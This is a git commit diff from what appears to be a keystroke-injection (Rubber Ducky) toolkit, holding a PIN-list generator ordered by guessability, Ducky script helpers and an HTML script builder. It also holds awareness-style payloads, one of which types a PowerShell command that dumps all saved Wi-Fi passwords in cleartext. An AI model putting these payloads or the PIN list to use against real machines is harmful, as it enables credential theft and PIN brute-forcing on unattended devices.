This commit is contained in:
Zarcolio
2023-07-02 17:40:32 +02:00
parent 5db696f8af
commit de20f93fc7
24 changed files with 100956 additions and 100956 deletions
@@ -1,66 +1,66 @@
# Define the list of "very easy" numbers
$veryEasyNumbers = @(0, 1, 2, 3, 4, 5, 6, 7, 8, 9) | ForEach-Object {
$_.ToString() * 4 # Four identical digits
}
$veryEasyNumbers += "1234" # The sequence "1234"
# Define the list of "easy" numbers consisting of adjacent duos
$adjacentEasyNumbers = @(0, 1, 2, 3, 4, 5, 6, 7, 8, 9) | ForEach-Object {
"{0}{0}{1}{1}" -f $_, (($_ + 1) % 10) # Two pairs of digits
}
# Define the list of "easy" numbers consisting of all combinations of 2 duos
$easyNumbers = @(0..9) | ForEach-Object {
$firstDuo = "{0}{0}" -f $_
@(0..9) | ForEach-Object {
$secondDuo = "{0}{0}" -f $_
$number = "{0}{1}{2}{3}" -f $firstDuo[0], $firstDuo[1], $secondDuo[0], $secondDuo[1]
if ($veryEasyNumbers + $adjacentEasyNumbers -notcontains $number) {
$number
}
}
}
# Define the list of year numbers
$YearNumbers = @()
# Loop through all years from 1901 to the current year
for ($year = 1901; $year -le (Get-Date).Year; $year++) {
# Add the year to the array
$YearNumbers += $year
}
# Define the list of "easy" numbers consisting of all combinations under 100, twice
$doubleUnder100 = @(0..99) | ForEach-Object {
"{0:D2}{0:D2}" -f $_
}
# Generate all combinations from 0000 to 9999
$combinations = 0..9999 | ForEach-Object {
"{0:D4}" -f $_
}
# Randomize the order of the non-easy numbers
$nonEasyNumbers = $combinations | Where-Object {
$veryEasyNumbers + $adjacentEasyNumbers + $easyNumbers -notcontains $_
}
$randomizedNonEasyNumbers = $nonEasyNumbers | Get-Random -Count $nonEasyNumbers.Count
# Combine the easy, double under 100, and non-easy numbers and write to a file
$allNumbers = $veryEasyNumbers + $adjacentEasyNumbers + $YearNumbers + $easyNumbers + $doubleUnder100
$randomizedNumbers = @()
foreach ($number in $allNumbers) {
if ($randomizedNumbers -notcontains $number) {
$randomizedNumbers += $number
}
}
$randomizedNonEasyNumbers | ForEach-Object {
if ($randomizedNumbers -notcontains $_) {
$randomizedNumbers += $_
}
}
$scriptDir = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent
$filePath = Join-Path -Path $scriptDir -ChildPath "pin_codes.txt"
$randomizedNumbers | Out-File -FilePath $filePath
# Define the list of "very easy" numbers
$veryEasyNumbers = @(0, 1, 2, 3, 4, 5, 6, 7, 8, 9) | ForEach-Object {
$_.ToString() * 4 # Four identical digits
}
$veryEasyNumbers += "1234" # The sequence "1234"
# Define the list of "easy" numbers consisting of adjacent duos
$adjacentEasyNumbers = @(0, 1, 2, 3, 4, 5, 6, 7, 8, 9) | ForEach-Object {
"{0}{0}{1}{1}" -f $_, (($_ + 1) % 10) # Two pairs of digits
}
# Define the list of "easy" numbers consisting of all combinations of 2 duos
$easyNumbers = @(0..9) | ForEach-Object {
$firstDuo = "{0}{0}" -f $_
@(0..9) | ForEach-Object {
$secondDuo = "{0}{0}" -f $_
$number = "{0}{1}{2}{3}" -f $firstDuo[0], $firstDuo[1], $secondDuo[0], $secondDuo[1]
if ($veryEasyNumbers + $adjacentEasyNumbers -notcontains $number) {
$number
}
}
}
# Define the list of year numbers
$YearNumbers = @()
# Loop through all years from 1901 to the current year
for ($year = 1901; $year -le (Get-Date).Year; $year++) {
# Add the year to the array
$YearNumbers += $year
}
# Define the list of "easy" numbers consisting of all combinations under 100, twice
$doubleUnder100 = @(0..99) | ForEach-Object {
"{0:D2}{0:D2}" -f $_
}
# Generate all combinations from 0000 to 9999
$combinations = 0..9999 | ForEach-Object {
"{0:D4}" -f $_
}
# Randomize the order of the non-easy numbers
$nonEasyNumbers = $combinations | Where-Object {
$veryEasyNumbers + $adjacentEasyNumbers + $easyNumbers -notcontains $_
}
$randomizedNonEasyNumbers = $nonEasyNumbers | Get-Random -Count $nonEasyNumbers.Count
# Combine the easy, double under 100, and non-easy numbers and write to a file
$allNumbers = $veryEasyNumbers + $adjacentEasyNumbers + $YearNumbers + $easyNumbers + $doubleUnder100
$randomizedNumbers = @()
foreach ($number in $allNumbers) {
if ($randomizedNumbers -notcontains $number) {
$randomizedNumbers += $number
}
}
$randomizedNonEasyNumbers | ForEach-Object {
if ($randomizedNumbers -notcontains $_) {
$randomizedNumbers += $_
}
}
$scriptDir = Split-Path -Path $MyInvocation.MyCommand.Definition -Parent
$filePath = Join-Path -Path $scriptDir -ChildPath "pin_codes.txt"
$randomizedNumbers | Out-File -FilePath $filePath
@@ -1,35 +1,35 @@
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][string]$InputFile
)
# Check if the input file exists
if (-not (Test-Path $InputFile)) {
Write-Error "The input file does not exist."
exit 1
}
# Read the contents of the input file
$content = Get-Content -Path $InputFile
# Initialize an empty array to hold the updated lines
$updatedContent = @()
foreach($line in $content) {
if($line -match "[~``'^`]"){
$updatedLine = $line.Replace("STRING", "ALTCODE")
$updatedContent += $updatedLine
} else {
$updatedContent += $line
}
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][string]$InputFile
)
# Check if the input file exists
if (-not (Test-Path $InputFile)) {
Write-Error "The input file does not exist."
exit 1
}
# Remove lines equal to "STRING" after trimming
$updatedContent = $updatedContent.Trim() -replace "(`n|^)STRING(`n|$)", ""
# Prepare the output file name by adding "-edit" before the file extension
$outputFile = [System.IO.Path]::GetFileNameWithoutExtension($InputFile) + "-edit" + [System.IO.Path]::GetExtension($InputFile)
# Write the updated content to the output file
Set-Content -Path $outputFile -Value $updatedContent
# Read the contents of the input file
$content = Get-Content -Path $InputFile
# Initialize an empty array to hold the updated lines
$updatedContent = @()
foreach($line in $content) {
if($line -match "[~``'^`]"){
$updatedLine = $line.Replace("STRING", "ALTCODE")
$updatedContent += $updatedLine
} else {
$updatedContent += $line
}
}
# Remove lines equal to "STRING" after trimming
$updatedContent = $updatedContent.Trim() -replace "(`n|^)STRING(`n|$)", ""
# Prepare the output file name by adding "-edit" before the file extension
$outputFile = [System.IO.Path]::GetFileNameWithoutExtension($InputFile) + "-edit" + [System.IO.Path]::GetExtension($InputFile)
# Write the updated content to the output file
Set-Content -Path $outputFile -Value $updatedContent
@@ -1,26 +1,26 @@
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][string]$InputFile
)
# Check if the input file exists
if (-not (Test-Path $InputFile)) {
Write-Error "The input file does not exist."
exit 1
}
# Read the contents of the input file
$content = Get-Content -Path $InputFile
# Replace the specified characters in the content
$updatedContent = $content -replace "([~`'""^])", "$('${1}' * 2)`nBACKSPACE`nSTRING "
# Remove lines equal to "STRING" after trimming
$updatedContent = $updatedContent.Trim() -replace "(`n|^)STRING(`n|$)", ""
# Prepare the output file name by adding "-edit" before the file extension
$outputFile = [System.IO.Path]::GetFileNameWithoutExtension($InputFile) + "-edit" + [System.IO.Path]::GetExtension($InputFile)
# Write the updated content to the output file
Set-Content -Path $outputFile -Value $updatedContent
[CmdletBinding()]
param(
[Parameter(Mandatory=$true)][string]$InputFile
)
# Check if the input file exists
if (-not (Test-Path $InputFile)) {
Write-Error "The input file does not exist."
exit 1
}
# Read the contents of the input file
$content = Get-Content -Path $InputFile
# Replace the specified characters in the content
$updatedContent = $content -replace "([~`'""^])", "$('${1}' * 2)`nBACKSPACE`nSTRING "
# Remove lines equal to "STRING" after trimming
$updatedContent = $updatedContent.Trim() -replace "(`n|^)STRING(`n|$)", ""
# Prepare the output file name by adding "-edit" before the file extension
$outputFile = [System.IO.Path]::GetFileNameWithoutExtension($InputFile) + "-edit" + [System.IO.Path]::GetExtension($InputFile)
# Write the updated content to the output file
Set-Content -Path $outputFile -Value $updatedContent
@@ -1,339 +1,339 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ducky Script Creator</title>
<style>
* {
box-sizing: border-box;
}
body {
font-family: Arial, sans-serif;
padding: 10px;
background-color: #f8f8f8;
}
h1 {
text-align: center;
margin-bottom: 20px;
}
h2, h3 {
margin-top: 10px;
}
textarea {
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
resize: vertical;
}
.container {
margin-bottom: 20px;
}
.other {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(100px, 1fr));
gap: 5px;
}
.other button {
width: 100%;
height: 40px;
font-size: 12px;
border: none;
background-color: #FFB866; /* Light shade of orange */
color: black; /* Black text */
cursor: pointer;
border-radius: 4px; /* Added rounded corners */
}
.other input[type="number"],
.other input[type="text"],
.other .large-btn {
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
}
#createStringButton,
#createRemarkButton,
#saveButton {
padding: 10px;
border: none;
background-color: #FFB866; /* Light shade of orange */
color: black; /* Black text */
font-size: 16px;
cursor: pointer;
border-radius: 4px; /* Added rounded corners */
}
#output {
width: 100%;
height: 100px; /* Adjust the height as desired */
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
resize: vertical;
}
/* Added new styles for input fields and buttons in the "other" class */
.other > input[type="number"],
.other > input[type="text"],
.other > button {
display: block;
width: 100%;
margin-bottom: 5px;
}
.other .large-btn {
width: 100%;
white-space: normal;
line-height: 1.2;
border-radius: 4px; /* Added rounded corners */
margin-top: 5px; /* Added margin-top to create space */
}
.fixed-header {
position: fixed;
top: 0;
left: 0;
width: 100%;
background-color: white;
padding: 10px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
z-index: 9999;
}
/* Added a class to style the save button */
.save-button {
font-family: Arial, sans-serif;
font-size: 12px;
}
.container.function {
padding-top: 180px;
}
</style>
</head>
<body>
<div class="fixed-header">
<b>Output:</b>
<textarea id="output" rows="4" cols="50" placeholder="Your Ducky script will appear here.
You can edit this manually before saving, if needed."></textarea>
<button id="saveButton" class="save-button">Save As...</button>
</div>
<div class="container function">
<b>Function:</b>
<div class="other">
<button onclick="appendToOutput('F1')">F1</button>
<button onclick="appendToOutput('F2')">F2</button>
<button onclick="appendToOutput('F3')">F3</button>
<button onclick="appendToOutput('F4')">F4</button>
<button onclick="appendToOutput('F5')">F5</button>
<button onclick="appendToOutput('F6')">F6</button>
<button onclick="appendToOutput('F7')">F7</button>
<button onclick="appendToOutput('F8')">F8</button>
<button onclick="appendToOutput('F9')">F9</button>
<button onclick="appendToOutput('F10')">F10</button>
<button onclick="appendToOutput('F11')">F11</button>
<button onclick="appendToOutput('F12')">F12</button>
</div>
</div>
<div class="container">
<b>String:</b>
<div class="other">
<textarea id="input" rows="4" cols="50" placeholder="Type your text here."></textarea>
</div>
<button id="createStringButton">Write String</button>
<button id="createRemarkButton">Write Remark</button>
</div>
<div class="container">
<b>Delay:</b>
<div class="other">
<input id="delayInput" type="number" value="1000" min="0">
<button onclick="appendToOutput('DELAY ' + document.getElementById('delayInput').value)">DELAY</button>
</div>
<div class="other">
<input id="defaultDelayInput" type="number" value="1000" min="0">
<button onclick="appendToOutput('DEFAULT_DELAY ' + document.getElementById('defaultDelayInput').value)">DEFAULT_DELAY</button>
</div>
<div class="other">
<button class="large-btn" onclick="appendToOutput('WAIT_FOR_BUTTON_PRESS')">BUTTON_PRESS</button>
</div>
</div>
<div class="container">
<b>Modifiers:</b>
<div class="other">
<button onclick="appendToOutput('CTRL')">Ctrl</button>
<button onclick="appendToOutput('SHIFT')">Shift</button>
<button onclick="appendToOutput('ALT')">Alt</button>
<button onclick="appendToOutput('GUI')">Gui</button>
<input id="charInput" type="text" maxlength="1" placeholder="Modified key" oninput="insertChar()">
</div>
</div>
<div class="container">
<b>Combos:</b>
<div class="other">
<button onclick="appendToOutput('CTRL-ALT')">Ctrl-Alt</button>
<button onclick="appendToOutput('CTRL-SHIFT')">Ctrl-Shift</button>
<button onclick="appendToOutput('ALT-SHIFT')">Alt-Shift</button>
<button onclick="appendToOutput('ALT-GUI')">Alt-Gui</button>
<button onclick="appendToOutput('GUI-SHIFT')">Gui-Shift</button>
</div>
</div>
<div class="container">
<b>Cursor:</b>
<div class="other">
<button onclick="appendToOutput('DOWNARROW')">Down arrow</button>
<button onclick="appendToOutput('LEFTARROW')">Left arrow</button>
<button onclick="appendToOutput('RIGHTARROW')">Right arrow</button>
<button onclick="appendToOutput('UPARROW')">Up arrow</button>
</div>
</div>
<div class="container">
<b>Control:</b>
<div class="other">
<button onclick="appendToOutput('ENTER')">Enter</button>
<button onclick="appendToOutput('BREAK')">Break</button>
<button onclick="appendToOutput('PAUSE')">Pause</button>
<button onclick="appendToOutput('CAPSLOCK')">Caps Lock</button>
<button onclick="appendToOutput('DELETE')">Delete</button>
<button onclick="appendToOutput('BACKSPACE')">Back space</button>
<button onclick="appendToOutput('END')">End</button>
<button onclick="appendToOutput('ESC')">Esc</button>
<button onclick="appendToOutput('ESCAPE')">Escape</button>
<button onclick="appendToOutput('HOME')">Home</button>
<button onclick="appendToOutput('INSERT')">Insert</button>
<button onclick="appendToOutput('NUMLOCK')">Num Lock</button>
<button onclick="appendToOutput('PAGEUP')">Page Up</button>
<button onclick="appendToOutput('PAGEDOWN')">Page Down</button>
<button onclick="appendToOutput('PRINTSCREEN')">Print Screen</button>
<button onclick="appendToOutput('SCROLLOCK')">Scroll Lock</button>
<button onclick="appendToOutput('SPACE')">Space</button>
<button onclick="appendToOutput('TAB')">Tab</button>
<button onclick="appendToOutput('MENU')">Menu</button>
<button onclick="appendToOutput('APP')">App</button>
<button onclick="appendToOutput('SYSRQ')">SysRq</button>
</div>
</div>
<div class="container">
<b></b>
<div class="other"></div>
</div>
<script>
document.getElementById('createStringButton').addEventListener('click', createString);
document.getElementById('createRemarkButton').addEventListener('click', createRemark);
document.getElementById('saveButton').addEventListener('click', saveOutput);
function createString() {
const input = document.getElementById('input');
const output = document.getElementById('output');
let translatedInput = '';
const lines = input.value.split('\n');
for (let i = 0; i < lines.length; i++) {
const line = lines[i].trim();
if (line === '') {
continue; // Skip empty lines
}
if (hasDeadKeys(line)) {
translatedInput += `ALTCODE ${line}\n`;
} else {
translatedInput += `STRING ${line}\n`;
}
}
// If the input does not end with a new line, append a new line to the translated input
if (input.value[input.value.length - 1] !== '\n') {
translatedInput += '\n';
}
output.value += translatedInput.trim() + '\n'; // Append to the output and add a new line
input.value = ''; // Clear the input
}
function createRemark() {
const input = document.getElementById('input');
const output = document.getElementById('output');
let translatedInput = '';
const lines = input.value.split('\n');
for (let i = 0; i < lines.length; i++) {
const line = lines[i].trim();
if (line === '') {
continue; // Skip empty lines
}
if (hasDeadKeys(line)) {
translatedInput += `ALTCODE ${line}\n`;
} else {
translatedInput += `REM ${line}\n`;
}
}
// If the input does not end with a new line, append a new line to the translated input
if (input.value[input.value.length - 1] !== '\n') {
translatedInput += '\n';
}
output.value += translatedInput.trim() + '\n'; // Append to the output and add a new line
input.value = ''; // Clear the input
}
function hasDeadKeys(input) {
const deadKeys = /[`^~"']/;
return deadKeys.test(input);
}
function appendToOutput(value) {
const output = document.getElementById('output');
if (value === 'CTRL' || value === 'CONTROL' || value === 'SHIFT' || value === 'ALT' || value === 'GUI' ) {
output.value += value + ' ';
} else {
output.value += value + '\n';
}
}
function insertChar() {
const output = document.getElementById('output');
const charInput = document.getElementById('charInput');
const char = charInput.value.trim();
if (char !== '') {
appendToOutput(char); // Execute the insert function directly
charInput.value = '';
}
}
function saveOutput() {
const output = document.getElementById('output');
const filename = prompt("Enter the filename", "output.txt");
const blob = new Blob([output.value], { type: 'text/plain' });
const anchor = document.createElement('a');
anchor.download = filename || 'output.txt';
anchor.href = window.URL.createObjectURL(blob);
anchor.click();
anchor.remove();
}
</script>
</body>
</html>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ducky Script Creator</title>
<style>
* {
box-sizing: border-box;
}
body {
font-family: Arial, sans-serif;
padding: 10px;
background-color: #f8f8f8;
}
h1 {
text-align: center;
margin-bottom: 20px;
}
h2, h3 {
margin-top: 10px;
}
textarea {
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
resize: vertical;
}
.container {
margin-bottom: 20px;
}
.other {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(100px, 1fr));
gap: 5px;
}
.other button {
width: 100%;
height: 40px;
font-size: 12px;
border: none;
background-color: #FFB866; /* Light shade of orange */
color: black; /* Black text */
cursor: pointer;
border-radius: 4px; /* Added rounded corners */
}
.other input[type="number"],
.other input[type="text"],
.other .large-btn {
width: 100%;
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
}
#createStringButton,
#createRemarkButton,
#saveButton {
padding: 10px;
border: none;
background-color: #FFB866; /* Light shade of orange */
color: black; /* Black text */
font-size: 16px;
cursor: pointer;
border-radius: 4px; /* Added rounded corners */
}
#output {
width: 100%;
height: 100px; /* Adjust the height as desired */
padding: 10px;
border: 1px solid #ccc;
border-radius: 4px;
resize: vertical;
}
/* Added new styles for input fields and buttons in the "other" class */
.other > input[type="number"],
.other > input[type="text"],
.other > button {
display: block;
width: 100%;
margin-bottom: 5px;
}
.other .large-btn {
width: 100%;
white-space: normal;
line-height: 1.2;
border-radius: 4px; /* Added rounded corners */
margin-top: 5px; /* Added margin-top to create space */
}
.fixed-header {
position: fixed;
top: 0;
left: 0;
width: 100%;
background-color: white;
padding: 10px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
z-index: 9999;
}
/* Added a class to style the save button */
.save-button {
font-family: Arial, sans-serif;
font-size: 12px;
}
.container.function {
padding-top: 180px;
}
</style>
</head>
<body>
<div class="fixed-header">
<b>Output:</b>
<textarea id="output" rows="4" cols="50" placeholder="Your Ducky script will appear here.
You can edit this manually before saving, if needed."></textarea>
<button id="saveButton" class="save-button">Save As...</button>
</div>
<div class="container function">
<b>Function:</b>
<div class="other">
<button onclick="appendToOutput('F1')">F1</button>
<button onclick="appendToOutput('F2')">F2</button>
<button onclick="appendToOutput('F3')">F3</button>
<button onclick="appendToOutput('F4')">F4</button>
<button onclick="appendToOutput('F5')">F5</button>
<button onclick="appendToOutput('F6')">F6</button>
<button onclick="appendToOutput('F7')">F7</button>
<button onclick="appendToOutput('F8')">F8</button>
<button onclick="appendToOutput('F9')">F9</button>
<button onclick="appendToOutput('F10')">F10</button>
<button onclick="appendToOutput('F11')">F11</button>
<button onclick="appendToOutput('F12')">F12</button>
</div>
</div>
<div class="container">
<b>String:</b>
<div class="other">
<textarea id="input" rows="4" cols="50" placeholder="Type your text here."></textarea>
</div>
<button id="createStringButton">Write String</button>
<button id="createRemarkButton">Write Remark</button>
</div>
<div class="container">
<b>Delay:</b>
<div class="other">
<input id="delayInput" type="number" value="1000" min="0">
<button onclick="appendToOutput('DELAY ' + document.getElementById('delayInput').value)">DELAY</button>
</div>
<div class="other">
<input id="defaultDelayInput" type="number" value="1000" min="0">
<button onclick="appendToOutput('DEFAULT_DELAY ' + document.getElementById('defaultDelayInput').value)">DEFAULT_DELAY</button>
</div>
<div class="other">
<button class="large-btn" onclick="appendToOutput('WAIT_FOR_BUTTON_PRESS')">BUTTON_PRESS</button>
</div>
</div>
<div class="container">
<b>Modifiers:</b>
<div class="other">
<button onclick="appendToOutput('CTRL')">Ctrl</button>
<button onclick="appendToOutput('SHIFT')">Shift</button>
<button onclick="appendToOutput('ALT')">Alt</button>
<button onclick="appendToOutput('GUI')">Gui</button>
<input id="charInput" type="text" maxlength="1" placeholder="Modified key" oninput="insertChar()">
</div>
</div>
<div class="container">
<b>Combos:</b>
<div class="other">
<button onclick="appendToOutput('CTRL-ALT')">Ctrl-Alt</button>
<button onclick="appendToOutput('CTRL-SHIFT')">Ctrl-Shift</button>
<button onclick="appendToOutput('ALT-SHIFT')">Alt-Shift</button>
<button onclick="appendToOutput('ALT-GUI')">Alt-Gui</button>
<button onclick="appendToOutput('GUI-SHIFT')">Gui-Shift</button>
</div>
</div>
<div class="container">
<b>Cursor:</b>
<div class="other">
<button onclick="appendToOutput('DOWNARROW')">Down arrow</button>
<button onclick="appendToOutput('LEFTARROW')">Left arrow</button>
<button onclick="appendToOutput('RIGHTARROW')">Right arrow</button>
<button onclick="appendToOutput('UPARROW')">Up arrow</button>
</div>
</div>
<div class="container">
<b>Control:</b>
<div class="other">
<button onclick="appendToOutput('ENTER')">Enter</button>
<button onclick="appendToOutput('BREAK')">Break</button>
<button onclick="appendToOutput('PAUSE')">Pause</button>
<button onclick="appendToOutput('CAPSLOCK')">Caps Lock</button>
<button onclick="appendToOutput('DELETE')">Delete</button>
<button onclick="appendToOutput('BACKSPACE')">Back space</button>
<button onclick="appendToOutput('END')">End</button>
<button onclick="appendToOutput('ESC')">Esc</button>
<button onclick="appendToOutput('ESCAPE')">Escape</button>
<button onclick="appendToOutput('HOME')">Home</button>
<button onclick="appendToOutput('INSERT')">Insert</button>
<button onclick="appendToOutput('NUMLOCK')">Num Lock</button>
<button onclick="appendToOutput('PAGEUP')">Page Up</button>
<button onclick="appendToOutput('PAGEDOWN')">Page Down</button>
<button onclick="appendToOutput('PRINTSCREEN')">Print Screen</button>
<button onclick="appendToOutput('SCROLLOCK')">Scroll Lock</button>
<button onclick="appendToOutput('SPACE')">Space</button>
<button onclick="appendToOutput('TAB')">Tab</button>
<button onclick="appendToOutput('MENU')">Menu</button>
<button onclick="appendToOutput('APP')">App</button>
<button onclick="appendToOutput('SYSRQ')">SysRq</button>
</div>
</div>
<div class="container">
<b></b>
<div class="other"></div>
</div>
<script>
document.getElementById('createStringButton').addEventListener('click', createString);
document.getElementById('createRemarkButton').addEventListener('click', createRemark);
document.getElementById('saveButton').addEventListener('click', saveOutput);
function createString() {
const input = document.getElementById('input');
const output = document.getElementById('output');
let translatedInput = '';
const lines = input.value.split('\n');
for (let i = 0; i < lines.length; i++) {
const line = lines[i].trim();
if (line === '') {
continue; // Skip empty lines
}
if (hasDeadKeys(line)) {
translatedInput += `ALTCODE ${line}\n`;
} else {
translatedInput += `STRING ${line}\n`;
}
}
// If the input does not end with a new line, append a new line to the translated input
if (input.value[input.value.length - 1] !== '\n') {
translatedInput += '\n';
}
output.value += translatedInput.trim() + '\n'; // Append to the output and add a new line
input.value = ''; // Clear the input
}
function createRemark() {
const input = document.getElementById('input');
const output = document.getElementById('output');
let translatedInput = '';
const lines = input.value.split('\n');
for (let i = 0; i < lines.length; i++) {
const line = lines[i].trim();
if (line === '') {
continue; // Skip empty lines
}
if (hasDeadKeys(line)) {
translatedInput += `ALTCODE ${line}\n`;
} else {
translatedInput += `REM ${line}\n`;
}
}
// If the input does not end with a new line, append a new line to the translated input
if (input.value[input.value.length - 1] !== '\n') {
translatedInput += '\n';
}
output.value += translatedInput.trim() + '\n'; // Append to the output and add a new line
input.value = ''; // Clear the input
}
function hasDeadKeys(input) {
const deadKeys = /[`^~"']/;
return deadKeys.test(input);
}
function appendToOutput(value) {
const output = document.getElementById('output');
if (value === 'CTRL' || value === 'CONTROL' || value === 'SHIFT' || value === 'ALT' || value === 'GUI' ) {
output.value += value + ' ';
} else {
output.value += value + '\n';
}
}
function insertChar() {
const output = document.getElementById('output');
const charInput = document.getElementById('charInput');
const char = charInput.value.trim();
if (char !== '') {
appendToOutput(char); // Execute the insert function directly
charInput.value = '';
}
}
function saveOutput() {
const output = document.getElementById('output');
const filename = prompt("Enter the filename", "output.txt");
const blob = new Blob([output.value], { type: 'text/plain' });
const anchor = document.createElement('a');
anchor.download = filename || 'output.txt';
anchor.href = window.URL.createObjectURL(blob);
anchor.click();
anchor.remove();
}
</script>
</body>
</html>
@@ -1,27 +1,27 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
DELAY 1000
GUI r
DELAY 500
STRING microsoft-edge:https://eyelockmyscreen.com
SPACE
ENTER
DELAY 2000
CTRL l
DELAY 500
STRING javascript:document.documentElement.requestFullscreen();
ENTER
DELAY 1000
GUI l
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
DELAY 1000
GUI r
DELAY 500
STRING microsoft-edge:https://eyelockmyscreen.com
SPACE
ENTER
DELAY 2000
CTRL l
DELAY 500
STRING javascript:document.documentElement.requestFullscreen();
ENTER
DELAY 1000
GUI l
@@ -1,29 +1,29 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
DELAY 1000
GUI r
DELAY 500
# Add a company policy page here:
STRING microsoft-edge:https://www.cnet.com/tech/computing/4-ways-to-lock-your-windows-10-pc/
SPACE
ENTER
DELAY 2000
CTRL f
DELAY 500
# And search for specific text:
STRING 4 ways to lock your Windows 10 PC
ENTER
DELAY 1000
GUI l
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
DELAY 1000
GUI r
DELAY 500
# Add a company policy page here:
STRING microsoft-edge:https://www.cnet.com/tech/computing/4-ways-to-lock-your-windows-10-pc/
SPACE
ENTER
DELAY 2000
CTRL f
DELAY 500
# And search for specific text:
STRING 4 ways to lock your Windows 10 PC
ENTER
DELAY 1000
GUI l
@@ -1,42 +1,42 @@
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
REM /| .' .' '.\/ /` '. \ | |.--. / /` '. \
REM || .-. .- / .' . | \ ' | ||__|. | \ '
REM || \ \ / / .-,.--. . ' | ' | '| |.--.| ' | '
REM || __ \ \ / / __ | .-. || | \ \ / / | || |\ \ / /
REM ||/'__ '.\ \ / / .--------. .:--.'. | | | || | `. ` ..' / | || | `. ` ..' /
REM |:/` '. '\ \ / / |____ | / | \ | | | | |. ' '-...-'` | || | '-...-'`
REM || | | \ ` / / / `" __ | | | | '- \ '. . | || |
REM ||\ / ' \ / .' / .'.''| | | | '. `._____.-'/ | ||__|
REM |/\'..' / / / / /___ / / | |_| | `-.______ / '---'
REM ' `'-'`|`-' / | |\ \._,\ '/|_| `
REM '..' |_________| `--' `"
DELAY 1000
GUI r
DELAY 500
STRING powershell
ENTER
DELAY 1000
STRING $profiles = netsh wlan show profiles | Select-String ""
BACKSPACE
STRING All User Profile\s+:\s+(.+)$""
BACKSPACE
STRING | ForEach-Object { $_.Matches.Groups[1].Value }; foreach ($profile in $profiles) { Write-Host ""
BACKSPACE
STRING Wifi: $profile""
BACKSPACE
STRING ; netsh wlan show profile name=$profile key=clear | Select-String ""
BACKSPACE
STRING Key Content\s+:\s+(.+)$""
BACKSPACE
STRING | ForEach-Object { Write-Host ""
BACKSPACE
STRING Password: $($_.Matches.Groups[1].Value)`r`n""
BACKSPACE
STRING } }; Write-Host ''
BACKSPACE
STRING SOMEBODY COULD HAVE STOLEN YOUR WI-FI PASSWORDS. PLEASE LOCK YOUR SCREEN NEXT TIME!!!''
BACKSPACE
ENTER
GUI l
REM _..._ .-'''-. .-'''-.
REM .-'_..._''. ' _ \ .---. ' _ \
